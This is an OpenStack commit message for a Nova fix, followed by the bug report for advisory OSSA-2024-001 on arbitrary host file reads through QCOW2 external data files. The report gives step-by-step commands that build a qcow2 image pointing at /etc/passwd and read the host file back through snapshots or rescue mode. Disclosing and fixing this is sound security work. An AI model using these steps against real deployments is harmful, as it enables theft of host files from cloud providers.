    Fix vmdk_allowed_types checking
    
    This restores the vmdk_allowed_types checking in create_image()
    that was unintentionally lost by tightening the
    qemu-type-matches-glance code in the fetch patch recently. Since we
    are still detecting the format of base images without metadata, we
    would have treated a vmdk file that claims to be raw as raw in fetch,
    but then read it like a vmdk once it was used as a base image for
    something else.

  [OSSA-2024-001] Arbitrary file access through QCOW2 external data file

Bug description:
  OpenStack has security vulnerability in Nova or Glance, that allows an authenticated attacker to read arbitrary files.
  QCOW2 has two mechanisms to read from another file. The backing file issue was reported and fixed with OSSA-2015-014, but the external data file was not discovered.

  Steps to Reproduce:

  - Create a disk image: `qemu-img create -f qcow2 -o data_file=abcdefghigh,data_file_raw=on disk.qcow2 1G` with `abcdefghigh` a placeholder of the same length as the file to read. `qemu-img` will zero it.
  - Replace the filename in the disk image: `sed -i "s#abcdefghigh#/etc/passwd#" disk.qcow2`.
  - Upload/register the disk image: `openstack image create --disk-format qcow2 --container-format bare --file "disk.qcow2" --private "my-image"`.
  - Create a new instance: `openstack server create --flavor "nano" --image "my-image" "my-instance"`.

  With the non-bootable instance there might be two ways to continue:

  Option 1:
  - Derive a new image: `openstack server image create --name "my-leak" "my-instance"`
  - Download the image: `openstack image save --file "leak.qcow2" "my-leak"`
  - The file content starts at guest cluster 0

  Option 2: (this is untested because I reproduced it only in a production system)
  - Reboot the instance in rescue mode: `openstack server rescue --image "cirros-0.6.2-x86_64-disk" "my-instance"`.
  - Go to the Dashboard, open the console of the instance and login to the instance.
  - Extract content from `/dev/sdb` with `cat /dev/sdb | fold -w 1024 | head -n 32`, `xxd -l 1024 -c 32 /dev/sdb` or similar methods.
  - It might be possible to write to the host file. If the disk image is mounted with `qemu-nbd`, writes go through to the external data file.
